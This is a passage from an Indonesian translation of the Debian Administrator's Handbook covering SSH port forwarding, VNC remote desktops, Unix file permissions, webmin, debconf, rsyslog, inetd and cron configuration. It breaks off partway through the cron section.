Internet, dan kebanyakan LAN yang terhubung, beroperasi dalam mode paket dan tidak dalam modus yang terhubung, berarti bahwa paket yang diterbitkan dari satu komputer ke yang lain akan berhenti di beberapa router perantara untuk menemukan jalan ke tujuan. Anda masih dapat mensimulasikan operasi yang terhubung dimana stream dibungkus dalam paket-paket IP normal. Paket ini mengikuti rute biasa mereka, tapi stream ini direkonstruksi tidak berubah di tujuan. Kami menyebutnya "tunnel", analog dengan terowongan jalan tempat kendaraan langsung berjalan dari pintu masuk (masukan) ke tempat keluar (keluaran) tanpa menemui persimpangan apapun, dibandingkan dengan jalur pada permukaan yang akan melibatkan persimpangan dan mengubah arah.

Anda dapat menggunakan kesempatan ini untuk menambahkan enkripsi ke tunnel: stream yang mengalir melaluinya kemudian tidak dikenali dari luar, tapi dikembalikan ke dalam bentuk terdekripsi di pintu keluar tunnel.

ssh -L 8000:server:25 perantara menjalin suatu sesi SSH dengan host perantara dan mendengarkan port lokal 8000 (lihat Gambar 9.3, “Penerusan suatu port lokal dengan SSH”). Untuk sebarang koneksi yang terjalin pada port ini, ssh akan memulai koneksi dari komputer perantara ke port 25 pada server, dan akan mengikat kedua koneksi bersama-sama.

ssh -R 8000:server:25 perantara juga menjalin sesi SSH ke komputer perantara, tetapi pada mesin ini ssh mendengarkan port 8000 (lihat Gambar 9.4, “Penerusan suatu port jauh dengan SSH”). Sebarang koneksi yang dijalin pada port ini akan menyebabkan ssh membuka koneksi dari mesin lokal ke port 25 server dan mengikat kedua koneksi bersama-sama.

Dalam kedua kasus, sambungan dibuat ke port 25 pada host server, melewati tunnel SSH yang dijalin antara mesin lokal dan mesin perantara. Dalam kasus pertama, pintu masuk ke tunnel adalah port lokal 8000, dan data bergerak menuju mesin perantara sebelum diarahkan ke server pada jaringan "publik". Dalam kedua kasus, masukan dan keluaran di tunnel dibalik; pintu masuk adalah port 8000 pada mesin perantara, keluaran adalah pada host lokal, dan data diarahkan ke server. Dalam prakteknya, server ini biasanya mesin lokal atau perantara. Dengan cara itu SSH mengamankan koneksi dari satu ujung ke yang lain.

Gambar 9.3. Penerusan suatu port lokal dengan SSH

Gambar 9.4. Penerusan suatu port jauh dengan SSH

9.2.2. Memakai Desktop Grafis Jarak Jauh

VNC (Virtual Network Computing) memungkinkan akses remote ke desktop grafis.

Alat ini banyak digunakan untuk bantuan teknis; administrator dapat melihat kesalahan yang dihadapi pengguna, dan menunjukkan kepada mereka tindakan yang benar tanpa harus berdiri di samping mereka.

Pertama, pengguna harus mengotorisasi berbagi sesi mereka. Grafis lingkungan desktop GNOME di Jessie dan setelahnya menyertakan pilihan itu di panel konfigurasi (berbeda dengan versi Debian sebelumnya, di mana pengguna harus menginstal dan menjalankan vino). KDE masih perlu menggunakan krfb untuk memungkinkan berbagi sesi yang ada melalui VNC. Untuk lingkungan desktop grafis lainnya, perintah x11vnc (dari paket Debian dengan nama yang sama) melayani tujuan yang sama; Anda dapat membuatnya tersedia untuk pengguna dengan ikon eksplisit.

Ketika sesi grafis dibuat tersedia oleh VNC, administrator harus menyambung ke sana dengan klien VNC. GNOME memiliki vinagre dan remmina untuk itu, sementara KDE menyertakan krdc (pada menu di K → Internet → Klien Remote Desktop). Ada klien VNC lainnya yang menggunakan baris perintah, seperti xvnc4viewer dalam paket Debian dengan nama yang sama. Setelah terhubung, administrator dapat melihat apa yang terjadi, bekerja pada mesin dari jarak jauh, dan menunjukkan ke pengguna bagaimana untuk melanjutkan.

KEAMANAN VNC di atas SSH

Jika Anda ingin terhubung oleh VNC, dan Anda tidak ingin data Anda dikirim dalam bentuk teks polos pada jaringan, mungkin untuk membungkus data dalam tunnel SSH (lihat Bagian 9.2.1.3, “Menciptakan Tunnel Terenkripsi dengan Penerusan Port”). Anda hanya perlu tahu bahwa VNC menggunakan port 5900 secara default untuk layar pertama (disebut "localhost:0"), 5901 untuk kedua (disebut "localhost:1"), dll.

Perintah ssh -L localhost:5901:localhost:5900 -N -T mesin menciptakan sebuah tunnel antara port lokal 5901 di antarmuka localhost dan port 5900 host mesin. "localhost" pertama membatasi SSH untuk mendengarkan hanya pada antarmuka tersebut di komputer lokal. "localhost" kedua menunjukkan antarmuka pada mesin remote yang akan menerima lalu lintas jaringan masuk "localhost:5901". Dengan demikian vncviewer localhost:1 akan menghubungkan klien VNC ke layar remote, meskipun Anda menunjukkan nama dari mesin lokal.

Ketika sesi VNC ditutup, ingatlah untuk menutup tunnel juga dengan menghentikan sesi SSH yang sesuai.

KEMBALI KE DASAR Manajer tampilan

gdm3, kdm, lightdm, dan xdm adalah Manajer Tampilan. Mereka mengambil kontrol antarmuka grafis tak lama setelah boot untuk menyediakan layar login ke pengguna. Setelah pengguna login, mereka menjalankan program-program yang dibutuhkan untuk memulai sesi grafis.

VNC juga bekerja untuk pengguna ponsel, atau eksekutif perusahaan, yang kadang-kadang perlu untuk login dari rumah mereka untuk mengakses desktop remote seperti yang mereka gunakan di tempat kerja. Konfigurasi layanan seperti itu lebih rumit: Anda pertama memasang paket vnc4server, mengubah konfigurasi dari layar manajer untuk menerima permintaan XDMCP Query (untuk gdm3 , ini dapat dilakukan dengan menambahkan Enable=true di bagian "xdmcp" /etc/gdm3/daemon.conf), dan akhirnya, memulai server VNC dengan inetd sehingga sesi secara otomatis dimulai ketika pengguna mencoba untuk login. Misalnya, Anda dapat menambahkan baris ini untuk /etc/inetd.conf:

5950  stream  tcp  nowait  nobody.tty  /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

Mengarahkan koneksi masuk ke manajer tampilan memecahkan masalah otentikasi, karena hanya pengguna dengan akun lokal yang akan melewati layar login gdm3 (atau yang setara kdm, xdm, dll). Karena operasi ini memungkinkan beberapa login simultan tanpa masalah (asal server cukup kuat), bahkan dapat digunakan untuk menyediakan desktop yang lengkap bagi pengguna ponsel (atau untuk sistem desktop yang kurang kuat, dikonfigurasi sebagai thin client). Pengguna cukup login ke layar server dengan vncviewer server:50, karena port yang digunakan adalah 5950.

9.3. Mengelola Hak

Linux tentu saja adalah sistem multi-pengguna, sehingga perlu untuk menyediakan sistem izin untuk mengontrol set operasi terotorisasi pada berkas dan direktori, yang mencakup semua sumber daya sistem dan perangkat (pada sebuah sistem Unix, setiap perangkat diwakili oleh sebuah berkas atau direktori). Prinsip ini umum untuk semua sistem Unix, tetapi pengingat selalu berguna, terutama karena ada beberapa penggunaan tingkat lanjut yang menarik dan relatif tidak dikenal.

Setiap berkas atau direktori memiliki izin khusus untuk tiga kategori pengguna:

- pemiliknya (dilambangkan oleh u seperti "user/pengguna");

- grup pemilik (dilambangkan oleh g dalam "grup"), yang mewakili semua anggota kelompok;

- yang lain (dilambangkan oleh o seperti "other/yang lain").

Tiga jenis hak dapat digabungkan:

- membaca (symbolized oleh r seperti "read/baca");

- menulis (atau memodifikasi, dilambangkan oleh w seperti "write/menulis");

- mengeksekusi (dilambangkan oleh x seperti "eXecute/menjalankan").

Dalam kasus berkas, hak-hak ini yang mudah dipahami: akses baca memungkinkan membaca konten (termasuk menyalin), akses menulis memungkinkan mengubah, dan akses mengeksekusi memungkinkan Anda untuk menjalankannya (yang hanya akan bekerja jika itu adalah sebuah program).

KEAMANAN executable dengan setuid dan setgid

Dua hak khusus relevan ke berkas yang dapat dieksekusi: setuid dan setgid (dilambangkan dengan huruf "s"). Perhatikan bahwa kita sering berbicara tentang "bit", karena setiap nilai-nilai boolean ini dapat diwakili oleh 0 atau 1. Dua hak ini memungkinkan pengguna untuk mengeksekusi program dengan hak-hak pemilik atau kelompok. Mekanisme ini memberikan akses ke fitur yang memerlukan izin tingkat yang lebih tinggi daripada yang Anda biasa miliki.

Karena program dengan setuid root secara sistematis berjalan di bawah identitas pengguna super, sangat penting untuk memastikan itu aman dan handal. Memang, pengguna yang akan berhasil membelokkan itu untuk memanggil perintah pilihan mereka kemudian bisa menyaru sebagai pengguna root dan memiliki semua hak pada sistem.

Direktori ditangani secara berbeda. Akses baca memberikan hak untuk berkonsultasi ke daftar entri (berkas dan direktori), akses tulis mengizinkan membuat atau menghapus berkas, dan akses mengeksekusi memungkinkan melintasinya (terutama untuk pergi ke sana dengan perintah cd). Mampu untuk melintasi sebuah direktori tanpa bisa membacanya memberikan izin untuk mengakses entri di dalamnya yang dikenal dengan nama, tetapi tidak untuk menemukan mereka jika Anda tidak tahu keberadaan mereka atau nama yang tepat.

KEAMANAN direktori setgid dan bit sticky

Bit setgid juga berlaku untuk direktori. Objek yang baru dibuat dalam direktori tersebut secara otomatis dimasukkan ke grup pemilik direktori induk, bukan mewarisi grup utama pencipta seperti biasa. Konfigurasi ini menghindari pengguna harus mengubah grup utama (dengan perintah newgrp) ketika bekerja di pohon berkas yang dipakai bersama antara beberapa pengguna dari grup khusus yang sama.

Bit "sticky" (dilambangkan dengan huruf "t") adalah izin yang hanya berguna dalam direktori. Hal ini terutama digunakan untuk direktori sementara tempat setiap orang memiliki akses tulis (seperti /tmp/): membatasi penghapusan berkas sehingga hanya pemilik (atau pemilik direktori induk) yang dapat melakukannya. Tanpa ini, semua orang bisa menghapus berkas milik pengguna lain dalam /tmp/.

Tiga perintah mengontrol izin yang terkait dengan berkas:

- chown pengguna berkas mengubah pemilik berkas;

- chgrp grup berkas mengubah kelompok pemilik;

- chmod hak berkas mengubah izin untuk berkas.

Ada dua cara untuk menyajikan hak. Di antara mereka, representasi simbolik adalah mungkin yang paling mudah untuk dipahami dan diingat. Ini melibatkan huruf simbol yang disebutkan di atas. Anda bisa mendefinisikan hak untuk setiap kategori pengguna (u g/o), dengan menetapkan mereka secara eksplisit (dengan =), dengan menambahkan (+), atau mengurangi (-). Dengan demikian rumus u=rwx,g+rw,o-r memberikan pemilik hak baca, tulis, dan eksekusi, menambahkan hak baca dan tulis untuk pemilik grup, dan menghilangkan hak-hak baca untuk pengguna lain. Hak-hak yang tidak diubah oleh penambahan atau pengurangan dalam perintah tersebut tetap tak berubah. Huruf a, untuk "all/semua", mencakup semua kategori pengguna, sehingga a=rx menghibahkan ke ketiga kategori hak yang sama (membaca dan mengeksekusi, tapi tidak menulis).

Representasi numerik (oktal) mengasosiasikan hak masing-masing dengan suatu nilai: 4 untuk baca, 2 untuk tulis, dan 1 untuk eksekusi. Kita menghubungkan setiap kombinasi hak dengan menjumlah angka-angka. Setiap nilai kemudian ditugaskan untuk berbagai kategori pengguna dengan meletakkan mereka dalam urutan biasa (pemilik, kelompok, lain-lain).

Misalnya, perintah chmod 754berkas akan menetapkan hak-hak berikut: baca, tulis dan, jalankan untuk pemilik (karena 7 = 4 + 2 + 1); baca dan jalankan untuk group (karena 5 = 4 + 1); hanya-baca untuk orang lain. 0 berarti tidak ada hak; dengan demikian chmod 600berkas memungkinkan hak baca/tulis untuk pemilik, dan tidak ada hak untuk orang lain. Kombinasi tepat yang paling sering adalah 755 untuk berkas yang dapat dieksekusi dan direktori, dan 644 untuk berkas data.

Untuk mewakili hak khusus, Anda dapat memberi awalan digit keempat ke nomor ini sesuai dengan prinsip yang sama, dengan bit setuid, setgid, dan sticky masing-masing adalah 4, 2, dan 1. chmod 4754 akan mengasosiasikan bit setuid dengan hak-hak yang dijelaskan sebelumnya.

Perhatikan bahwa penggunaan notasi oktal hanya memungkinkan untuk mengatur semua hak sekaligus pada berkas; Anda tidak dapat menggunakannya untuk menambahkan hak baru, seperti akses baca untuk pemilik grup, karena Anda harus memperhitungkan hak-hak yang ada dan menghitung nilai numerik baru yang sesuai.

TIP Operasi rekursif

Kadang-kadang kita harus mengubah hak untuk seluruh pohon berkas. Semua perintah di atas memiliki opsi -R untuk beroperasi secara rekursif di sub-direktori.

Perbedaan antara direktori dan berkas kadang-kadang menyebabkan masalah dengan operasi rekursif. Itu sebabnya huruf "X" telah diperkenalkan di representasi simbolik dari hak-hak. Ini mewakili hak untuk menjalankan yang berlaku hanya untuk direktori (dan tidak untuk berkas yang tidak memiliki hak ini). Dengan demikian, chmod -R a+Xdirektori hanya akan menambah hak mengeksekusi bagi semua kategori pengguna (a) untuk semua sub direktori dan berkas yang setidaknya satu kategori pengguna (bahkan jika pemilik satu-satunya) sudah memiliki hak mengeksekusi.

TIP Mengubah pengguna dan grup

Sering Anda ingin mengubah kelompok berkas pada waktu yang sama dengan Anda mengubah pemilik. Perintah chown memiliki sintaks yang khusus untuk itu: chown pengguna:kelompok berkas

LEBIH LANJUT umask

Ketika sebuah aplikasi menciptakan sebuah berkas, itu menetapkan izin indikatif, mengetahui bahwa sistem secara otomatis menghapus hak tertentu, yang diberikan oleh perintah umask. Masukkan umask dalam shell; Anda akan melihat sebuah mask seperti 0022. Ini adalah sekadar representasi oktal hak untuk yang secara sistematis dihapus (dalam kasus ini, hak tulis untuk grup dan pengguna lain).

Jika Anda memberikan nilai oktal baru, perintah umask memodifikasi mask. Digunakan dalam berkas inisialisasi shell (misalnya, ~/.bash_profile), ini akan secara efektif mengubah mask baku untuk sesi kerja Anda.

9.4. Antarmuka Administrasi

Menggunakan antarmuka grafis untuk administrasi menarik di berbagai keadaan. Administrator tidak perlu mengetahui semua rincian konfigurasi untuk semua layanan mereka, dan tidak selalu punya waktu untuk pergi mencari dokumentasi tentang masalah. Antarmuka grafis untuk administrasi karenanya dapat mempercepat penyebaran layanan baru. Itu juga dapat menyederhanakan penyiapan layanan yang sulit untuk dikonfigurasi.

Sebuah antarmuka adalah hanya bantuan, dan bukan tujuan itu sendiri. Dalam semua kasus, administrator harus menguasai perilakunya untuk memahami dan mengatasi masalah potensial.

Karena tidak ada antarmuka yang sempurna, Anda mungkin tergoda untuk mencoba beberapa solusi. Ini harus dihindari sebisa mungkin, karena alat yang berbeda kadang-kadang tidak kompatibel dalam metode kerja mereka. Bahkan jika mereka semua bertujuan untuk menjadi sangat fleksibel dan mencoba untuk mengadopsi berkas konfigurasi sebagai referensi tunggal, mereka tidak selalu mampu mengintegrasikan perubahan-perubahan eksternal.

9.4.1. Pengadministrasian pada Antarmuka Web: webmin

Ini, tak diragukan lagi, adalah salah satu antarmuka administrasi yang paling sukses. Ini adalah sebuah sistem modular yang dikelola melalui peramban web, meliputi area dan peralatan yang luas. Lebih jauh, itu diinternasionalisasi dan tersedia dalam banyak bahasa.

Gambar 9.5. Dasbor Webmin

Sayangnya, webmin tidak lagi merupakan bagian dari Debian. Para pengelola Debian — Jaldhar H. Vyas — menghapus paket yang diciptakannya karena ia tidak lagi memiliki waktu yang dibutuhkan untuk mempertahankan mereka pada tingkat kualitas yang dapat diterima. Tak seorang pun telah secara resmi mengambil alih, sehingga Buster tidak memiliki paket webmin.

Namun, ada sebuah paket tidak resmi yang didistribusikan pada webmin.com website. Bertentangan dengan paket-paket Debian asli, paket ini monolitik; semua modul konfigurasinya dipasang dan diaktifkan secara default, bahkan jika layanan yang sesuai tidak dipasang pada mesin.

KEAMANAN Mengubah password root

Saat login pertama, identifikasi dilakukan dengan nama pengguna root dan kata sandi yang biasa. Dianjurkan untuk mengubah sandi yang digunakan untuk webmin secepat mungkin, sehingga jika itu disusupi, kata sandi root untuk server tidak akan terlibat, bahkan jika ini menganugerahkan hak administratif yang penting untuk mesin.

Berhati-hatilah! Karena webmin memiliki begitu banyak fitur, pengguna jahat yang mengakses itu dapat membahayakan keamanan seluruh sistem. Secara umum, antarmuka semacam ini tidak dianjurkan untuk sistem penting dengan kendala-kendala keamanan yang kuat (firewall, server sensitif, dll.).

Webmin digunakan melalui antarmuka web, tetapi tidak memerlukan Apache untuk diinstal. Pada dasarnya, perangkat lunak ini memiliki server web mini terpadu sendiri. Server ini mendengarkan secara default pada port 10000 dan menerima koneksi HTTP aman.

Modul-modul yang disertakan mencakup berbagai macam layanan, diantaranya:

- semua layanan dasar: penciptaan pengguna dan kelompok, manajemen berkas crontab, init script, melihat log, dll.

- bind: konfigurasi server DNS (layanan nama);

- postfix: konfigurasi server SMTP (e-mail);

- inetd: konfigurasi server super inetd;

- kuota: manajemen kuota pengguna;

- dhcpd: konfigurasi server DHCP;

- proftpd: konfigurasi server FTP;

- samba: konfigurasi server berkas Samba;

- perangkat lunak: instalasi atau penghapusan perangkat lunak dari paket-paket Debian dan pembaruan sistem.

Antarmuka administrasi tersedia di peramban web di https://localhost:10000. Berhati-hatilah! Tidak semua modul secara langsung dapat digunakan. Kadang-kadang mereka harus dikonfigurasi dengan menentukan lokasi berkas-berkas konfigurasi yang sesuai dan beberapa berkas yang dapat dieksekusi (program). Sering sistem secara sopan akan meminta Anda ketika gagal untuk mengaktifkan sebuah modul yang diminta.

ALTERNATIF Pusat kendali GNOME

Proyek GNOME juga menyediakan beberapa antarmuka administrasi yang biasanya dapat diakses melalui entri "Pengaturan" di menu pengguna di kanan atas. gnome-control-center adalah program utama yang membawa mereka bersama-sama tetapi banyak dari alat konfigurasi seluruh sistem secara efektif disediakan oleh paket lainnya (accountsservice, system-config-printer, dll). Meskipun mereka mudah digunakan, aplikasi ini mencakup hanya sejumlah terbatas layanan dasar: manajemen pengguna, konfigurasi waktu, konfigurasi jaringan, konfigurasi pencetak, dan sebagainya.

9.4.2. Mengkonfigurasi Paket: debconf

Banyak paket secara otomatis dikonfigurasi setelah mengajukan beberapa pertanyaan selama instalasi melalui alat Debconf. Paket-paket ini dapat dikonfigurasi ulang dengan menjalankan dpkg-reconfigure paket.

Untuk kebanyakan kasus, pengaturan ini sangat sederhana; hanya beberapa variabel penting di berkas konfigurasi diganti. Variabel ini sering dikelompokkan antara dua garis "demarkasi" sehingga konfigurasi ulang paket hanya berdampak ke daerah tertentu. Dalam kasus lain, konfigurasi ulang tidak akan mengubah apa-apa jika skrip mendeteksi modifikasi manual berkas konfigurasi, dalam rangka untuk mempertahankan intervensi manusia ini (karena skrip tidak dapat memastikan bahwa modifikasinya tidak akan mengganggu pengaturan yang ada).

KEBIJAKAN DEBIAN Melestarikan perubahan

Kebijakan Debian secara tegas menyebutkan bahwa segala sesuatu harus dilakukan untuk melestarikan perubahan manual yang dibuat untuk berkaskonfigurasi, maka semakin banyak skrip yang mengambil tindakan pencegahan saat menyunting berkas konfigurasi. Prinsip umumnya sederhana: skrip hanya akan membuat perubahan jika itu tahu status berkas konfigurasi yang diverifikasi dengan membandingkan checksum berkas terhadap berkas yang terakhir dikonfigurasi secara otomatis. Jika mereka sama, skrip berwenang untuk mengubah berkaskonfigurasi. Jika tidak, itu menganggap bahwa berkas telah berubah dan bertanya apa tindakan yang diperlukan (menginstal berkas baru, menyimpan berkas lama, atau mencoba untuk mengintegrasikan perubahan baru dengan berkas yang sudah ada). Prinsip pencegahan ini telah lama unik untuk Debian, tetapi distro lain secara bertahap mulai menerimanya.

Program ucf (dari paket Debian dengan nama yang sama) dapat digunakan untuk menerapkan perilaku seperti itu.

9.5. syslog Kejadian Sistem

9.5.1. Prinsip dan Mekanisme

Daemon rsyslogd bertanggung jawab untuk mengumpulkan pesan layanan yang berasal dari aplikasi dan kernel, lalu mengirim mereka ke dalam berkas log (biasanya disimpan dalam direktori /var/log/). Ini mematuhi berkas konfigurasi /etc/rsyslog.conf.

Setiap pesan log terkait dengan suatu subsistem aplikasi (disebut 'fasilitas' dalam dokumentasi):

- auth dan authpriv: untuk otentikasi;

- cron: berasal dari layanan penjadwalan tugas, cron dan atd;

- daemon: mempengaruhi daemon tanpa klasifikasi khusus apapun (DNS, NTP, dll);

- ftp: menyangkut server FTP;

- kern: pesan yang datang dari kernel;

- lpr: berasal dari subsistem pencetakan;

- mail: berasal dari subsistem surel;

- news: pesan subsistem Usenet (terutama dari NNTP — Network News Transfer Protocol — server yang mengelola newsgroup);

- syslog: pesan-pesan dari server syslogd itu sendiri;

- user: pesan-pesan pengguna (generik);

- uucp: pesan dari server UUCP (Unix to Unix Copy Program, protokol tua yang terutama digunakan untuk mendistribusikan pesan surel);

- local0 sampai local7: disediakan untuk penggunaan lokal.

Setiap pesan ini juga dikaitkan dengan tingkat prioritas. Berikut adalah daftar yang terurut turun:

- emerg: "Tolong!" Ada keadaan darurat, sistem ini mungkin tidak dapat digunakan.

- alert: buru-buru, penundaan bisa berbahaya, tindakan harus diambil segera;

- crit: kondisi kritis;

- err: kesalahan;

- warn: peringatan (potensi kesalahan);

- notice: kondisi normal, tapi pesan tersebut penting;

- info: pesan informatif;

- debug: pesan pengawakutuan (debug).

9.5.2. Berkas Konfigurasi

Sintaks berkas /etc/rsyslog.conf dirinci dalam halaman manual rsyslog.conf(5), tetapi ada juga dokumentasi HTML yang tersedia di paket rsyslog-doc (/usr/share/doc/rsyslog-doc/html/index.html). Prinsip keseluruhan adalah untuk menulis pasangan "pemilih" dan "tindakan". Pemilih mendefinisikan semua pesan yang relevan, dan tindakan yang menjelaskan bagaimana menangani mereka.

9.5.2.1. Sintaks dari Pemilih

Pemilih adalah sebuah daftar pasangan yang dipisah titik koma subsistem.prioritas (contoh: auth.notice;mail.info). Bintang dapat mewakili semua subsistem atau semua prioritas (contoh: *.alert atau mail.*). Beberapa subsistem dapat dikelompokkan, dengan memisahkan mereka dengan tanda koma (contoh: auth,mail.info). Prioritas yang ditunjukkan juga mencakup pesan prioritas yang sama atau lebih tinggi; dengan demikian auth.alert menunjukkan subsistem pesan auth dengan prioritas alert atau emerg. Diawali dengan tanda seru (!), ini menunjukkan sebaliknya, dengan kata lain hanya prioritas yang lebih rendah; auth.!notice, dengan demikian, menunjukkan pesan yang dikeluarkan dari auth, dengan prioritas info atau debug. Diawali dengan tanda sama dengan (=), sesuai dengan hanya prioritas ditunjukkan (oauth.=notice pesan dari auth ini hanya berkenaan dengan prioritas notice).

Setiap elemen dalam daftar pada pemilih menimpa unsur-unsur sebelumnya. Dengan demikian dimungkinkan untuk membatasi satu set atau untuk mengecualikan unsur-unsur tertentu dari itu. Sebagai contoh, kern.info;kern.!err berarti pesan dari kernel dengan prioritas antara info dan warn. Prioritas none menunjukkan kumpulan kosong (tidak ada prioritas), dan dapat dipakai untuk mengecualikan subsistem dari serangkaian pesan. Dengan demikian, *. crit;kern.none menunjukkan semua pesan prioritas yang sama dengan atau lebih tinggi dari crit yang bukan berasal dari kernel.

9.5.2.2. Sintaks Tindakan

KEMBALI KE DASAR Pipa bernama (named pipe), pipa persisten

Pipa bernama adalah berkas jenis khusus yang beroperasi seperti pipa tradisional (pipa yang Anda buat dengan simbol "|" pada baris perintah), tetapi melalui berkas. Mekanisme ini memiliki keuntungan yang mampu menghubungkan dua proses yang tidak terkait. Apa pun yang ditulis ke pipa bernama memblokir proses yang menulis sampai proses lain berusaha untuk membaca data yang dituliskan. Proses kedua ini membaca data yang ditulis oleh yang pertama, yang kemudian dapat melanjutkan eksekusi.

Berkas seperti itu dibuat dengan perintah mkfifo.

Berbagai tindakan yang mungkin adalah:

- menambahkan pesan ke berkas (contoh: /var/log/messages);

- mengirim pesan ke server syslog remote (contoh: @log.falcot.com);

- mengirim pesan ke pipa bernama yang ada (contoh: |/dev/xconsole);

- mengirim pesan ke satu atau lebih pengguna, jika mereka login (contoh: root, rhertzog);

- mengirim pesan ke semua pengguna yang login (contoh: *);

- menulis pesan dalam konsol teks (contoh: /dev/tty8).

KEAMANAN Meneruskan log

Ini adalah ide yang baik untuk merekam log-log yang paling penting pada mesin terpisah (mungkin didedikasikan untuk tujuan ini), karena ini akan mencegah penyusup apapun mungkin menghapus jejak-jejak intrusi mereka (kecuali, tentu saja, mereka juga mengkompromi server lain ini). Selanjutnya, dalam hal masalah besar (seperti kernel crash), Anda memiliki log yang tersedia pada mesin lain, yang akan meningkatkan kesempatan Anda untuk menentukan urutan peristiwa yang menyebabkan crash.

Untuk menerima log pesan yang dikirim oleh mesin lainnya, Anda harus mengkonfigurasi ulang rsyslog: dalam praktek, cukup untuk mengaktifkan entri siap pakai dalam /etc/rsyslog.conf ($ModLoad imudp dan $UDPServerRun 514).

9.6. Super Server inetd

Inetd (sering disebut "Internet super-server") adalah sebuah server dari server. Itu mengeksekusi server yang jarang digunakan sesuai permintaan, sehingga mereka tidak perlu berjalan terus menerus.

Berkas /etc/inetd.conf memuat daftar server tersebut dan nomor port biasa mereka. Perintah inetd mendengarkan semua dari mereka; ketika mendeteksi koneksi ke salah satu port tersebut, itu mengeksekusi program server yang sesuai.

KEBIJAKAN DEBIAN Mendaftarkan suatu server di inetd.conf

Paket seringkali ingin mendaftarkan server baru dalam berkas /etc/inetd.conf, tetapi Kebijakan Debian melarang setiap paket memodifikasi berkas konfigurasi yang bukan milik sendiri. Inilah sebabnya mengapa skrip update-inetd (dalam paket dengan nama yang sama) dibuat: mengelola berkas konfigurasi, maka paket lain dapat menggunakannya untuk mendaftarkan server baru ke konfigurasi super-server.

Setiap baris yang signifikan dari berkas /etc/inetd.conf menggambarkan sebuah server melalui tujuh ruas (yang dipisah dengan spasi):

- Nomor port TCP atau UDP, atau nama layanan (yang dipetakan ke nomor port standar dengan informasi yang terkandung dalam berkas /etc/services).

- Jenis soket: stream untuk koneksi TCP, dgram untuk datagram UDP.

- Protokol: tcp atau udp.

- Pilihan: dua nilai yang mungkin: wait atau nowait, untuk memberitahu inetd apakah itu harus menunggu atau tidak untuk akhir dari proses diluncurkan sebelum menerima koneksi lain. Untuk koneksi TCP, yang mudah dimultiplekskan, Anda dapat biasanya menggunakan nowait. Untuk program yang merespon melalui UDP, Anda harus menggunakan nowait hanya jika server mampu mengelola beberapa koneksi secara paralel. Anda dapat menambahkan akhiran pada ruas ini dengan titik dua, diikuti oleh jumlah maksimum koneksi resmi per menit (batas default adalah 256).

- Nama pengguna yang di bawah identitasnya server akan berjalan.

- Path lengkap ke program server yang akan dijalankan.

- Argumen: ini adalah daftar lengkap dari argumen program, termasuk nama sendiri (argv[0] dalam C).

Contoh berikut menggambarkan kasus-kasus yang paling umum:

Contoh 9.1. Kutipan dari /etc/inetd.conf

talk   dgram  udp wait    nobody.tty /usr/sbin/in.talkd in.talkd

finger stream tcp nowait  nobody     /usr/sbin/tcpd     in.fingerd

ident  stream tcp nowait  nobody     /usr/sbin/identd   identd -i

Program tcpd sering digunakan dalam berkas /etc/inetd.conf. Hal ini memungkinkan membatasi koneksi masuk dengan menerapkan aturan kontrol akses, didokumentasikan di halaman manual hosts_access(5), yang dikonfigurasi di berkas /etc/hosts.allow dan /etc/hosts.deny. Setelah ditentukan bahwa sambungan diizinkan, tcpd mengeksekusi server sebenarnya (seperti in.fingerd dalam contoh kita). Perlu dicatat bahwa tcpd mengandalkan nama apa dia dipanggil (yaitu argumen pertama, argv [0]) untuk mengidentifikasi program nyata yang akan dijalankan. Jadi Anda tidak harus memulai daftar argumen dengan tcpd tapi dengan program yang harus dibungkus.

KOMUNITAS Wietse Venema

Wietse Venema, yang keahliannya dalam keamanan telah membuatnya menjadi programmer yang terkenal, adalah penulis program tcpd. Ia adalah pencipta utama Postfix, server modular surel (SMTP, Simple Mail Transfer Protocol), yang dirancang untuk menjadi lebih aman dan lebih dapat diandalkan daripada sendmail, yang memiliki sejarah panjang kerentanan keamanan.

ALTERNATIF Perintah inetd lain

Walaupun Debian menginstal openbsd-inetd secara default, ada tidak ada kekurangan alternatif: kita dapat menyebutkan inetutils-inetd, micro-inetd, rlinetd, dan xinetd.

Inkarnasi ini terakhir server super menawarkan kemungkinan yang sangat menarik. Paling menonjol, konfigurasinya dapat dibagi menjadi beberapa berkas (disimpan, tentu saja, dalam direktori /etc/xinetd.d/), yang dapat membuat hidup seorang administrator lebih mudah.

Terakhir tetapi bukan tidak penting, bahkan mungkin untuk meniru perilaku inetd dengan mekanisme aktivasi soket systemd (lihat Bagian 9.1.1, “Sistem init systemd”).

9.7. Menjadwalkan Tugas dengan cron dan atd

cron adalah daemon yang bertanggung jawab untuk mengeksekusi perintah terjadwal dan berulang (setiap hari, setiap minggu, dll.); atd adalah yang berurusan dengan perintah yang akan dieksekusi sekali, tapi pada waktu tertentu di masa depan.

Dalam sistem Unix, banyak tugas yang dijadwalkan untuk dieksekusi berkala:

- merotasi log;

- memperbarui basis data untuk program locate;

- back-up;

- skrip pemeliharaan (misalnya pembersihan berkas sementara).

Secara default, semua pengguna dapat menjadwalkan pelaksanaan tugas. Dengan demikian, setiap pengguna memiliki sendiri crontab di mana mereka dapat merekam perintah yang dijadwalkan. Ini dapat diedit dengan menjalankan crontab -e (isinya disimpan dalam berkas /var/spool/cron/crontabs/pengguna).

KEAMANAN Membatasi cron atau atd

Anda dapat membatasi akses ke cron dengan membuat berkas otorisasi eksplisit (whitelist) di /etc/cron.allow, di mana Anda menunjukkan hanya pengguna yang berwenang untuk menjadwalkan perintah. Semua yang lain akan secara otomatis kehilangan fitur ini. Sebaliknya, hanya untuk memblokir satu atau dua pengacau, Anda bisa menulis nama mereka dalam file larangan eksplisit (blacklist), /etc/cron.deny. Fitur yang sama tersedia untuk atd, dengan berkas /etc/at.allow dan /etc/at.deny.

Pengguna root punya crontab mereka sendiri, tapi dapat juga menggunakan berkas /etc/crontab, atau menulis berkas crontab tambahan dalam direktori /etc/cron.d. Dua solusi terakhir ini memiliki keuntungan menjadi dapat menentukan identitas pengguna yang dimanfaatkan ketika mengeksekusi perintah.

Paket cron termasuk secara default beberapa perintah terjadwal yang mengeksekusi:

- program-program dalam direktori /etc/cron.hourly/ sekali per jam;

- program-program di /etc/cron.daily/ sekali per hari;

- program-program di /etc/cron.weekly/ sekali per minggu;

- program-program di /etc/cron.monthly/ sekali per bulan.

Banyak paket Debian yang banyak bergantung pada layanan ini: dengan menempatkan skrip pemeliharaan dalam direktori ini, mereka memastikan pengoperasian yang optimal atas layanan mereka.

9.7.1. Format dari sebuah Berkas crontab

TIP Pintasan teks untuk cron

cron mengenali beberapa singkatan yang menggantikan lima ruas pertama dalam entri crontab. Mereka sesuai dengan pilihan penjadwalan yang paling klasik:

- @yearly: sekali per tahun (1 Januari, pukul 24:00);

